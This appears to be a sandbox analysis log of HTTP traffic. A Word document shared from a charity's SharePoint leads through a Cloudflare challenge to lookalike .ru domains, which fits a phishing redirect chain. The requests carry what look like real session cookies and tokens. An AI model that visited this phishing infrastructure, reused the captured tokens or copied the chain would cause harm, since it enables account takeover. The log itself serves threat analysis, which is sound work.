https://ukc-word-view.officeapps.live.com/wv/wordviewerframe.aspx?ui=en-US&rs=en-US&wopisrc=https%3A%2F%2Fmidlandlangarsevasociety-my.sharepoint.com%2Fpersonal%2Fsharon_bharaj_mlss_org_uk%2F_vti_bin%2Fwopi.ashx%2Ffiles%2F561486683e214f1b8f3e63b1975c468a&wdenableroaming=1&mscc=0&wdodb=1&hid=EFAE2FA1-00C2-9000-0F29-AD1B777B053F.0&uih=sharepointcom&wdlcid=en-US&jsapi=1&jsapiver=v2&corrid=7d777aeb-6724-5443-6f2d-afb3c7edf346&usid=7d777aeb-6724-5443-6f2d-afb3c7edf346&newsession=1&sftc=1&uihit=docaspx&muv=1&cac=1&sams=1&mtf=1&sfp
Source: global traffic	HTTP traffic detected: GET /afhs/CloudPolicySettings.ashx HTTP/1.1Host: ukc-word-view.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D
Source: global traffic	HTTP traffic detected: GET /personal/sharon_bharaj_mlss_org_uk/_layouts/15/download.aspx?UniqueId=%7B56148668%2D3e21%2D4f1b%2D8f3e%2D63b1975c468a%7D HTTP/1.1Host: midlandlangarsevasociety-my.sharepoint.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://ukc-word-view.officeapps.live.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzA2YWM3YjMzZDMxZmZhNGZjZDhkMmJlMzkyM2M3MzM5YTgxYTY4YzUyNzcxMjRmZDU5OTIwMTA2Y2EzZDQzNzksMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jMDZhYzdiMzNkMzFmZmE0ZmNkOGQyYmUzOTIzYzczMzlhODFhNjhjNTI3NzEyNGZkNTk5MjAxMDZjYTNkNDM3OSwxMzM2MjA3MDg4NzAwMDAwMDAsMCwxMzM2MjE1Njk4NzEwMTE5MjIsMC4wLjAuMCwyNTgsZmE3NTBlM2QtNjU1Ni00NWM5LWIwZWYtYzk4ZWM5YTMyMWI5LCwsZWZhZTJmYTEtMTA2Mi04MDAwLWYyMmQtNTA5N2QzOGJlZDA2LGVmYWUyZmExLTEwNjItODAwMC1mMjJkLTUwOTdkMzhiZWQwNixFaWR5QmpsWkgwT3EyMnduWDM2OU53LDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxODk3OTIsRGFEQWZqUVFtcHlPWHgyUnJLX1c1bHZvTFo0LFArSXdhSnYzY1p3bjJIekhUQmZmWUFtSTR1ckZ0bDFVVm02YmZuaVdFR2hxREVUNDRyc1B5bDJRUlZpY1J2MXRMM2xqR3A3UnQwMk4wc2QraXV4aGhHMnJkVEx6cm9UTmVEeWtTZ0R6RWVpUHlaeHBMQi9YL1VpUHJUVHdaQ01IUllIZWdOYVdxc2cxNDhpTDRvZ0J2V0JZSHhuMnE2djRzUlhNWTRUcW5sMk9yZWl2M3M0eW9aY3lkd2p3RWc4aWhSYVVqTUtEcjRBK05pR2JFSlQyUFQwMTE1NEMxR1NwaHdqOHY5L1ZNM2pCSWdQb09XaHh4eUFIczRENjVpNVUxbVVYVDFHVkRPdEVkZmtidGVqSDMyVzR4b1cyKzJEc1gzKzB3aTVQbmpaTTVtUUg2ZE12ckk5bHZwWGliU2dvdUhxRnA1bDF0aTlBZlZPYzV3WEpIdz09PC9TUD4=; MicrosoftApplicationsTelemetryDeviceId=fc84bd97-e5f0-493d-9c1a-2959cd8add74; ai_session=X1pFQ6tqGZn3w0tH7qrjXj\|1717596993405\|1717596993408; MSFPC=GUID=ae57fb048dee426196ba366b584f5061&HASH=ae57&LV=202406&V=4&LU=1717596998123; WordWacDataCenter=GUK5; WacDataCenter=GUK5; WordWacDataCenterSetTime=2024-06-05T14:16:40.892Z; WacDataCenterSetTime=2024-06-05T14:16:40.892Z
Source: global traffic	HTTP traffic detected: GET /wv/AppSettingsHandler.ashx?app=Word&usid=7d777aeb-6724-5443-6f2d-afb3c7edf346&build=20240522.3 HTTP/1.1Host: ukc-word-view.officeapps.live.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://midlandlangarsevasociety-my.sharepoint.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://midlandlangarsevasociety-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /suite/RemoteTelemetry.ashx?usid=7d777aeb-6724-5443-6f2d-afb3c7edf346 HTTP/1.1Host: common.online.office.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wv/AppSettingsHandler.ashx?app=Word&usid=7d777aeb-6724-5443-6f2d-afb3c7edf346&build=20240522.3 HTTP/1.1Host: ukc-word-view.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; GUK5-ARRAffinity=6a9156a0401cc57bdb8795e2e3640ae99a2eba5b451294b540f9bbbacbb48b40
Source: global traffic	HTTP traffic detected: GET /9adosd/ HTTP/1.1Host: mllss.ablecenp.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: mllss.ablecenp.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mllss.ablecenp.ru/9adosd/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlErNnJpWXoxd0IyQnBma2llRnZ2MHc9PSIsInZhbHVlIjoieUhkNk9mbHgyRFdqTGVRU2RJdWNBV00yZnhMaTd4NThWaDZlOFNlaWpKUjRKUmZYMWhJUU5lRElaSGJvUXQvRVpRZDVQWUJxMldnWUZFd1ZVYjhWUDVka28zZlBHZisxQ3B3eGYvN1lrVmpFS0sxOXRmZU1JN0lMdWcwamxwM2MiLCJtYWMiOiJmODc5YTMwMzQ5OWIzN2M0MGM0MDExMzJkMmFhMGE4Y2U4YWRmN2NlYjRmNjY3NzVjZDYxN2M0OGFiYzkwYjVhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkgwN2VtN1A4VzFER05lcEhCU01md0E9PSIsInZhbHVlIjoiVnR0VnpwbUM1Y1BZNllEeVBjMk4rcFZqNzBiSXdZVFJUMjZuU011VDJ1bnBCRjhTclZ4Z3N6Z3BqZnpSMDA0aWpyTlphOFFSQW5wRllZcWxMdUlYazIvbms1UzJtQ2tWL1FYbnQ3K1A5K0k2VlpvcktZUS93NkR1UkpFbHlQK2QiLCJtYWMiOiIxMWUzNjQ2OThlMTcyYjIyNWNmNTViOTEyNzZmZDRkNDA0OGExMTlhZTU2YmVlM2NjNGM5NGM0OWI4OTQ2MzhkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /yfVgFRTlEnoldZPVMhEpsSkFcVYNUGHTEQEUTEVGVYPGVKPSKZJWNHXIEPKSYSNY HTTP/1.1Host: w5fv.25bvnw8.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://mllss.ablecenp.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://mllss.ablecenp.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/4.39/flatFontAssets.pkg HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Word 16.0.16827; Pro)Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mllss.ablecenp.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mllss.ablecenp.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /yfVgFRTlEnoldZPVMhEpsSkFcVYNUGHTEQEUTEVGVYPGVKPSKZJWNHXIEPKSYSNY HTTP/1.1Host: w5fv.25bvnw8.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/0143bd9ce132/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mllss.ablecenp.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/6sb2m/0x4AAAAAAAanW_YR_5ihkFoc/auto/normal HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: iframeReferer: https://mllss.ablecenp.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wv/RemoteTelemetry.ashx?usid=7d777aeb-6724-5443-6f2d-afb3c7edf346&build=20240603.4&waccluster=GUK5 HTTP/1.1Host: ukc-word-view.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; GUK5-ARRAffinity=6a9156a0401cc57bdb8795e2e3640ae99a2eba5b451294b540f9bbbacbb48b40
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=88f0c8e1ed640bef HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/6sb2m/0x4AAAAAAAanW_YR_5ihkFoc/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/6sb2m/0x4AAAAAAAanW_YR_5ihkFoc/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/988922126:1717593319:EfsY8VcA0-4ad9lGpajcEsvMPI1KJUNHWAdtA0NAGik/88f0c8e1ed640bef/851d5cb20e144ec HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/88f0c8e1ed640bef/1717597032890/3det-E_3NKbqgbz HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/6sb2m/0x4AAAAAAAanW_YR_5ihkFoc/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/88f0c8e1ed640bef/1717597032890/3det-E_3NKbqgbz HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/88f0c8e1ed640bef/1717597032892/d593b71daff911d07e56d5ae61ba6b1dd21bd4c6d730521c9192ae70f132b65b/GiOEsIJSMBhRsHy HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/6sb2m/0x4AAAAAAAanW_YR_5ihkFoc/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/988922126:1717593319:EfsY8VcA0-4ad9lGpajcEsvMPI1KJUNHWAdtA0NAGik/88f0c8e1ed640bef/851d5cb20e144ec HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/988922126:1717593319:EfsY8VcA0-4ad9lGpajcEsvMPI1KJUNHWAdtA0NAGik/88f0c8e1ed640bef/851d5cb20e144ec HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /9adosd/ HTTP/1.1Host: mllss.ablecenp.ruConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://mllss.ablecenp.ru/9adosd/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjlveWpMV0NzNERxdzFJeFA1VjR2RXc9PSIsInZhbHVlIjoidFMrUTZuNDMrbjZvdGNqdTZtNGRBODNwVE9EWHFiRGhqZXFaNXpIRUQ1Y0pYdHhzVjFxUm50UytySURzcHY3ZCtGOTJWYzZEZkZoK2NGK2xkVmJ5MC9reFRMVUJzRGtyUUlXTWxUNVhNRVpzbE8vWGNxRWF5YzQ5NTh5UzNTSGwiLCJtYWMiOiJkZmM4MTgyMGFlM2NlZjk3OWU2OGQ4MmFiOTIzYmVkY2ZmZDBiZGJhNzAzYjUzNjkwZWNmMDM5YzdmMTE4NjM5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImNHWDEyN3VMNGV3SzE1dURKZHpMZ1E9PSIsInZhbHVlIjoiRExpckx2TVdNcEkxa01URENkeDZQekJ6OXRQZnNJdGRTM3A0bXlFcFhhbDlmYlV0Y2gvWTZsc2FqQmp0ZVNoaTZoZ2dsODlZWGVsWCswWDZaVDJyQVNxSGttbnJkMm85RFMvSkNrYVhPd2hadEt0aFgxK2QwUU5DZjV3TUdSYzUiLCJtYWMiOiI3NzNhYzFmNDQwMGIxZTZhYWJhMmEyMGRiNDc0M2EyMTc2OWU0NTc0MWNlOTNjZDdjMDJlZWNjMzE3MTIwMWIwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ypcDzD2LptOQ9lCWl5lF4jfIZMvQMphD8tsTtHthykR08macq HTTP/1.1Host: mllss.ablecenp.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjlveWpMV0NzNERxdzFJeFA1VjR2RXc9PSIsInZhbHVlIjoidFMrUTZuNDMrbjZvdGNqdTZtNGRBODNwVE9EWHFiRGhqZXFaNXpIRUQ1Y0pYdHhzVjFxUm50UytySURzcHY3ZCtGOTJWYzZEZkZoK2NGK2xkVmJ5MC9reFRMVUJzRGtyUUlXTWxUNVhNRVpzbE8vWGNxRWF5YzQ5NTh5UzNTSGwiLCJtYWMiOiJkZmM4MTgyMGFlM2NlZjk3OWU2OGQ4MmFiOTIzYmVkY2ZmZDBiZGJhNzAzYjUzNjkwZWNmMDM5YzdmMTE4NjM5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImNHWDEyN3VMNGV3SzE1dURKZHpMZ1E9PSIsInZhbHVlIjoiRExpckx2TVdNcEkxa01URENkeDZQekJ6OXRQZnNJdGRTM3A0bXlFcFhhbDlmYlV0Y2gvWTZsc2FqQmp0ZVNoaTZoZ2dsODlZWGVsWCswWDZaVDJyQVNxSGttbnJkMm85RFMvSkNrYVhPd2hadEt0aFgxK2QwUU5DZjV3TUdSYzUiLCJtYWMiOiI3NzNhYzFmNDQwMGIxZTZhYWJhMmEyMGRiNDc0M2EyMTc2OWU0NTc0MWNlOTNjZDdjMDJlZWNjMzE3MTIwMWIwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /9adosd/?Z HTTP/1.1Host: mllss.ablecenp.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://mllss.ablecenp.ru/9adosd/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjNrU0RMVXNaSTF6am51TmJWMk5lbHc9PSIsInZhbHVlIjoiZ0pxcmpwK3Yyb3JmWlNZeXEyWE9ST3k5aWpTNDlOc0lFbFhFL3Q3NC8vQzdMQ2JlQmxyd2FZZlh0aDJ5U1lJS0ZQaFRPSDNaa0RtRExmR1JHWDhBbjg0cnB1dEZ5M2tya0VIb1RDdWR1d0tIN2R0VkhmV0xGQjVwSFdGRmVzNkoiLCJtYWMiOiJkZTQ5MTU0OWEyMDM0YzE2MGU5MGJlNjFjZmE4YzUyY2M0M2VkYTBlOWMxZmNkNTkxNzc1YzdmY2M1ZDJlN2RjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImFiOHFhWjExcUJJOWJzMGxKTVFPNGc9PSIsInZhbHVlIjoiT2pzcGcxWVRwcmU5SEl1U2NSMEozQW9hRWFQV1c4WjZjRzNWOUwxZHltVWVWRnJWSGpkVUlWb1NPenVsZVp1R2JRYzJocDkyOGMvUFpyTnZqU1dSdEJ5NUl6eGhHUzVkTms3TjhYNVA0V2l1dzgrZEVjVkVEbHJtYWtKNS92MWsiLCJtYWMiOiI4NWMyMmU5NGYwYTdmNGI2NzRhNGVhYzQ0NTAxYWM1MWFmNjg2ZDE4ZjM0NWU0ZmVlMmM4OGIyZGVjOTVlOTg3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /55609806740817527513539MJRXZXDNGXRELAZZMDRTTQBBC?RORDPJPTKKIKJSG721280149402424MNLWRGLJWWGOFQN HTTP/1.1Host: mllss.ablecenp.ruConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://mllss.ablecenp.ru/9adosd/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 